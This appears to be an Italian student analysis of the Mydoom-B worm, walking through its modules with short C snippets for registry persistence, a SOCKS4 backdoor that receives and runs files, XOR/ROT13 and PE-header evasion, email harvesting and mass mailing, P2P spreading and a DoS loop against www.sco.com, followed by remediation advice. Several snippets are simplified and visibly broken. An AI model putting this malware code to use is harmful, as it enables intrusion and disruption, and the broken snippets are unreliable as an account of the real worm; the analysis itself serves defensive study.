# BW3 Analisi Codice del Malware Mydoom-B

## Introduzione

```
#worm #malware #mydoom #analisiCodice
#sicurezzaInformatica
```

Mydoom è uno dei worm più noti della storia informatica. Scoperto nel 2004, si è diffuso rapidamente tramite email infette e attacchi mirati. Mydoom si installa nel sistema, crea una backdoor per il controllo remoto e si diffonde tramite email e reti P2P. Di seguito viene presentata un'analisi dettagliata di tutte le sue funzionalità.

# Elenco Completa delle funzioni del codice

## 1. main.c

Funzione: payload\_xproxy

- Descrizione: Decifra e installa una libreria di sistema
   (shimgapi.dll) per abilitare la backdoor. Questa libreria viene
   caricata nel sistema per consentire il controllo remoto.
- Scopo: Stabilire una backdoor nel sistema.
- Codice:

```
void payload_xproxy(struct sync_t *sync) {
   // Carica e installa la libreria di backdoor
   LoadLibrary(sync->xproxy_path);
}
```

• **Esempio**: Se chiamata, payload\_xproxy consente all'attaccante di controllare il sistema da remoto, caricando dinamicamente una

libreria malevola.

## Funzione: sync\_install

- **Descrizione**: Copia il malware nelle directory di sistema per garantirne l'esecuzione continua.
- Scopo: Garantire la persistenza del malware.
- Codice:

```
void sync_install(struct sync_t *sync) {
   // Copia il malware nelle directory di sistema
   CopyFile(sync->source_path, sync->target_path, FALSE);
}
```

• **Esempio**: Dopo l'installazione, il malware può ripristinarsi automaticamente anche se viene rimosso manualmente.

## Funzione: sync\_startup

- **Descrizione**: Configura l'avvio automatico del malware ogni volta che il sistema viene riavviato, modificando il registro di Windows.
- Scopo: Assicurare l'esecuzione automatica del malware.
- Codice:

```
void sync_startup(struct sync_t *sync) {
   HKEY hKey;
   RegOpenKey(HKEY_CURRENT_USER,

"Software\\Microsoft\\Windows\\CurrentVersion\\Run",
&hKey);
   RegSetValueEx(hKey, "TaskMon", 0, REG_SZ, (BYTE*)sync-
>xproxy_path, strlen(sync->xproxy_path));
   RegCloseKey(hKey);
}
```

• **Esempio**: sync\_startup crea una chiave di registro che fa sì che il malware si riavvii automaticamente.

# 2. xproxy.c

#### Funzione: socks4\_exec

- Descrizione: Riceve un file tramite socket e lo esegue nel sistema.
   Viene usato per eseguire comandi da remoto, come parte della backdoor.
- **Scopo**: Permettere l'esecuzione di file e comandi da remoto.
- Codice:

```
static void socks4_exec(int sock) {
  char buf[MAX_PATH];
  recv(sock, buf, MAX_PATH, 0);
  FILE *fp = fopen("malicious.exe", "wb");
  fwrite(buf, sizeof(char), sizeof(buf), fp);
  fclose(fp);
  STARTUPINFO si = {0};
  PROCESS_INFORMATION pi = {0};
  CreateProcess(NULL, "malicious.exe", NULL, NULL,
FALSE, 0, NULL, NULL, &si, &pi);
}
```

• **Esempio**: Con socks4\_exec , l'attaccante può inviare ed eseguire file a distanza, garantendo il controllo completo.

# Funzione: socks4\_main

- Descrizione: Inizializza un server SOCKS4 che ascolta un intervallo di porte per creare un proxy di controllo remoto.
- Scopo: Stabilire un server proxy per l'accesso remoto.
- Codice:

```
int socks4_main(int port, int initthreads) {
   SOCKET sockfd;
   struct sockaddr_in servaddr;
   sockfd = socket(AF_INET, SOCK_STREAM, 0);
```

```
servaddr.sin_family = AF_INET;
servaddr.sin_addr.s_addr = htonl(INADDR_ANY);
servaddr.sin_port = htons(port);
bind(sockfd, (struct sockaddr*)&servaddr,
sizeof(servaddr));
listen(sockfd, 5);
while (1) {
    int connfd = accept(sockfd, (struct
sockaddr*)NULL, NULL);
    socks4_exec(connfd);
}
```

• **Esempio**: Con socks4\_main, l'attaccante può accedere al sistema infetto attraverso un server proxy SOCKS4.

#### 3. client.c

#### Funzione: main

- Descrizione: Funzione client che si connette a un server remoto e invia un file binario. Utilizzata per trasferire file al server.
- Scopo: Trasferire file al server remoto.
- Codice:

```
void main(int argc, char *argv[]) {
   // Codice per la connessione al server SOCKS4 e invio
   del file
   SOCKET sockfd = socket(AF_INET, SOCK_STREAM, 0);
   connect(sockfd, (struct sockaddr*)&server,
   sizeof(server));
   send(sockfd, "malicious_file",
   sizeof("malicious_file"), 0);
   closesocket(sockfd);
}
```

• **Esempio**: Il client SOCKS4 utilizza main per inviare file come payload al sistema remoto.

# 4. crypt1.c

#### Funzione: main

- **Descrizione**: Crittografa o decrittografa un file usando una chiave XOR variabile, rendendo i dati meno rilevabili.
- Scopo: Offuscare file crittografando i dati.
- Codice:

```
int main(int argc, char *argv[]) {
  char key = 'X';
  FILE *file = fopen("infected_file", "rb+");
  char c;
  while (fread(&c, 1, 1, file)) {
      c ^= key;
      fseek(file, -1, SEEK_CUR);
      fwrite(&c, 1, 1, file);
  }
  fclose(file);
}
```

• **Esempio**: Un file di configurazione può essere crittografato con XOR per evitare il rilevamento da parte di antivirus.

## 5. rot13.c

## Funzione: rot13c

- Descrizione: Esegue una crittografia ROT13, spostando ogni lettera di 13 posizioni. Usata per offuscare testo semplice.
- Scopo: Offuscare testo usando la crittografia ROT13.
- Codice:

```
char rot13c(char c) {
  char u[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZ";
  char l[] = "abcdefghijklmnopqrstuvwxyz";
  char *p;
  if ((p = strchr(u, c)) != NULL) return u[((p - u) +
  13) % 26];
  else if ((p = strchr(l, c)) != NULL) return l[((p - l)
  + 13) % 26];
  else return c;
}
```

Esempio: La stringa "HELLO" viene offuscata in "URYYB".

# 6. cleanpe.cpp

#### Funzione: main

- **Descrizione**: Rimuove intestazioni superflue da file PE (Portable Executable), rendendoli meno identificabili come malware.
- Scopo: Evasione dei sistemi di sicurezza tramite rimozione di metadati.
- Codice:

```
void main(int argc, char *argv[]) {
  FILE *file = fopen(argv[1], "rb+");
  fseek(file, HEADER_OFFSET, SEEK_SET);
  fwrite(NULL, HEADER_SIZE, 1, file); // Rimuove
l'intestazione
  fclose(file);
}
```

 Esempio: Il file PE risulta meno riconoscibile dai sistemi di rilevamento antivirus.

#### 7. bin2c.c

#### Funzione: main

- **Descrizione**: Converte un file binario in un array di caratteri, permettendone l'integrazione diretta nel codice sorgente.
- Scopo: Convertire file binari in un formato incorporabile nel codice.
- Codice:

```
int main(int argc, char *argv[]) {
    FILE *in = fopen(argv[1], "rb");
    printf("const char file[] = {");
    char c;
    while (fread(&c, 1, 1, in)) {
        printf("0x%02x, ", c);
    }
    printf("};");
    fclose(in);
}
```

#### 8. lib.c

#### Funzione: is\_online

- **Descrizione**: Verifica la connessione Internet utilizzando wininet.dll, assicurandosi che il sistema sia online.
- Scopo: Controllare la connessione Internet.
- Codice:

```
int is_online(void) {
   return
InternetCheckConnection("http://www.google.com",
FLAG_ICC_FORCE_CONNECTION, 0);
}
```

 Esempio: Il malware può verificare se il sistema è online prima di contattare i server di comando.

#### 9. massmail.c

#### Funzione: massmail\_main

- Descrizione: Gestisce la coda di email infette da inviare per diffondere il malware tramite email.
- Scopo: Diffusione tramite email infette.
- Codice:

```
void massmail_main(void) {
  char *email_list[] = {"victim1@example.com",
  "victim2@example.com"};
  for (int i = 0; i < sizeof(email_list) /
  sizeof(email_list[0]); i++) {
     send_infected_email(email_list[i]);
  }
}</pre>
```

• Esempio: Il malware invia email infette a una lista di contatti rubata.

## Funzione: mm\_gen

- Descrizione: Genera email basate su contatti esistenti, utilizzando nomi e domini comuni per aumentare le probabilità di apertura dei messaggi.
- Codice:

```
void mm_gen(void) {
  char *names[] = {"John", "Alice", "Bob"};
  char *domains[] = {"example.com", "mail.com",
  "test.com"};
  for (int i = 0; i < sizeof(names) / sizeof(names[0]);
  i++) {
     for (int j = 0; j < sizeof(domains) /
     sizeof(domains[0]); j++) {
        printf("%s@%s\n", names[i], domains[j]); //
     Genera un indirizzo email</pre>
```

```
}
}
```

Esempio: Il malware invia email infette a una lista di contatti rubata.

#### 10. scan.c

Funzione: scan\_main

- **Descrizione**: Scansiona i file locali per raccogliere indirizzi email, che il malware utilizza per espandere la propria rete.
- Scopo: Scansione dei file per raccogliere indirizzi email.
- Codice:

```
void scan_main(void) {
  char *file_types[] = {".txt", ".html", ".asp"};
  for (int i = 0; i < sizeof(file_types) /
  sizeof(file_types[0]); i++) {
     scan_files_for_emails(file_types[i]);
  }
}</pre>
```

• **Descrizione**: scan\_main estrae indirizzi email da file locali per aumentare la diffusione del malware.

# Funzione: scan\_disk

- Descrizione: Scansiona i dischi locali alla ricerca di file contenenti indirizzi email e altre informazioni utili per la propagazione del malware.
- Codice:

```
void scan_disks(void) {
   // Esegue la scansione dei dischi locali per indirizzi
email
```

```
char *dirs[] = {"C:\\", "D:\\"};
for (int i = 0; i < sizeof(dirs) / sizeof(dirs[0]);
i++) {
     scan_directory(dirs[i]);
}
}</pre>
```

• **Esempio:** scan\_disks permette al malware di scansionare interi dischi per raccogliere informazioni utili per la diffusione.

# 11. msg.c

#### Funzione: create\_email

- Descrizione: Genera email con allegati infetti e intestazioni falsificate, appositamente progettate per ingannare il destinatario.
- **Scopo**: Creare email infette per la diffusione del malware.
- Codice:

```
void create_email(char *to, char *subject, char *body) {
   printf("To: %s\nSubject: %s\n\n%s\n", to, subject,
   body);
   add_attachment("infected_attachment.zip");
}
```

• **Esempio**: create\_email costruisce email convincenti per spingere l'utente ad aprire l'allegato infetto.

# 12. p2p.c

# Funzione: search\_files

- **Descrizione**: Scansiona le reti peer-to-peer (P2P), come Kazaa, e sostituisce file legittimi con versioni infette.
- Scopo: Diffusione tramite reti P2P.
- Codice:

```
void search_files(void) {
  char *popular_files[] = {"music.mp3", "video.avi"};
  for (int i = 0; i < sizeof(popular_files) /
  sizeof(popular_files[0]); i++) {
    replace_with_infected_file(popular_files[i]);
  }
}</pre>
```

• **Esempio**: Il malware sostituisce file popolari nelle reti P2P con versioni infette, diffondendosi tramite download condivisi.

## 13. sco.c

#### Funzione: scodos\_main

- Descrizione: Esegue un attacco DoS mirato a server specifici, come www.sco.com, sovraccaricandolo con richieste e rendendolo inaccessibile.
- Scopo: Attacco DoS contro server mirati.
- Codice: P Chiavi: worm, malware, mydoom, analisiCodice, sicurezzaInformatica

```
void scodos_main(void) {
   struct sockaddr_in target;
   target.sin_family = AF_INET;
   target.sin_port = htons(80);
   inet_pton(AF_INET, "www.sco.com", &target.sin_addr);
   while (1) {
      int sockfd = socket(AF_INET, SOCK_STREAM, 0);
      connect(sockfd, (struct sockaddr*)&target,
      sizeof(target));
      send(sockfd, "GET / HTTP/1.1\r\n\r\n", 18, 0);
      close(sockfd);
   }
}
```

• **Esempio**: scodos\_main è progettata per interrompere l'accesso a un server generando traffico eccessivo.

## 14. xdns.c

## Funzione: dns\_query

- **Descrizione**: Invia richieste DNS per risolvere i nomi di dominio dei server di comando e controllo (C&C).
- Scopo: Recuperare gli indirizzi IP dei server di comando.
- Codice:

```
void dns_query(char *domain) {
   struct hostent *host = gethostbyname(domain);
   if (host) {
      printf("IP Address: %s\n", inet_ntoa(*(structin_addr*)host->h_addr));
   }
}
```

• **Esempio**: dns\_query ottiene l'indirizzo IP del server C&C, permettendo al malware di ricevere comandi.

## 15. xsmtp.c

### Funzione: smtp\_send

- Descrizione: Gestisce l'invio delle email tramite il protocollo SMTP, completando il processo di invio delle email infette.
- Scopo: Invio automatico di email infette.
- Codice:

```
void smtp_send(char *email, char *subject, char *body,
char *attachment) {
  printf("Sending to: %s\nSubject: %s\n", email,
subject);
```

```
printf("Body:\n%s\n", body);
printf("Attachment: %s\n", attachment);
}
```

• **Esempio**: smtp\_send permette al malware di inviare email infette senza dipendere dal client email locale.

# 16. zipstore.c

Funzione: create\_zip

- **Descrizione**: Crea file ZIP con all'interno copie infette del malware, utilizzati come allegati nelle email per evitare il rilevamento.
- Scopo: Offuscare i file infetti in archivi ZIP.
- Codice:

```
void create_zip(char *filename) {
   FILE *zip = fopen("infected.zip", "wb");
   FILE *file = fopen(filename, "rb");
   char buffer[1024];
   while (fread(buffer, 1, sizeof(buffer), file) > 0) {
      fwrite(buffer, 1, sizeof(buffer), zip);
   }
   fclose(file);
   fclose(zip);
}
```

• **Esempio**: create\_zip comprime i file infetti in archivi ZIP, facilitando l'elusione dei sistemi di sicurezza.

## **Conclusione Finale**

Mydoom è un malware scritto in linguaggio C che rappresenta una delle minacce più persistenti e complesse mai sviluppate, grazie alla sua capacità di combinare diverse tecniche di diffusione e offuscamento. Questo worm si diffonde principalmente tramite email e reti peer-to-peer,

sfruttando un server SOCKS4 come backdoor e inviando istruzioni a dispositivi infetti attraverso un server di comando e controllo. Le sue funzionalità chiave includono:

- 1. **Persistenza**: Configura l'avvio automatico e copia se stesso nelle directory di sistema, assicurando che il malware sopravviva ai riavvii del sistema.
- Offuscamento: Usa crittografia XOR e ROT13 e comprime i file infetti in archivi ZIP, il tutto per ridurre il rischio di rilevamento.
- 3. **Diffusione**: Tramite il modulo di invio massivo di email e la manipolazione delle reti P2P, Mydoom riesce a raggiungere velocemente un alto numero di sistemi.
- 4. **Attacco DoS**: Mydoom può generare un traffico eccessivo verso server mirati, rendendoli inaccessibili agli utenti legittimi.
- Backdoor e controllo remoto: Utilizza un server SOCKS4 per aprire una backdoor nel sistema, fornendo all'attaccante il pieno controllo.

#### Prevenzione e Rimedi

#### Rimedi in caso di infezione:

- Isolamento del sistema: Disconnettere immediatamente il sistema dalla rete per evitare ulteriore diffusione e comunicazione con i server di comando e controllo.
- Rimozione del malware: Utilizzare software antivirus aggiornati con database malware estesi. Se possibile, eseguire scansioni in modalità provvisoria per ridurre le capacità operative del malware.
- Ripristino del sistema: Eseguire il ripristino da un backup affidabile o formattare il sistema se necessario, poiché i danni e le modifiche apportate potrebbero essere difficili da invertire manualmente.

#### Prevenzione dell'infezione:

- Formazione degli utenti: Educare gli utenti a riconoscere email di phishing e allegati sospetti è essenziale, in quanto Mydoom sfrutta tecniche di ingegneria sociale per ingannare le vittime.
- Aggiornamenti e patch: Mantenere i sistemi e i software sempre aggiornati. Le patch di sicurezza spesso includono protezioni contro le vulnerabilità sfruttate dai malware.
- Sistemi di protezione avanzata: L'uso di firewall, antivirus e sistemi di rilevamento delle intrusioni (IDS) contribuisce a bloccare tentativi di accesso non autorizzati e comportamenti sospetti.
- Politiche di accesso e backup: Limitare i privilegi di accesso e mantenere backup regolari in luoghi sicuri permette un recupero rapido in caso di infezione.

# Conclusione

Mydoom evidenzia l'importanza di una strategia di sicurezza proattiva che comprenda educazione degli utenti, strumenti di sicurezza aggiornati e pratiche di backup affidabili. La capacità del malware di persistere e diffondersi tramite email, P2P e altre vulnerabilità fa sì che rimanga una minaccia concreta e duratura.

P Chiavi: worm, malware, mydoom, analisiCodice, sicurezzaInformatica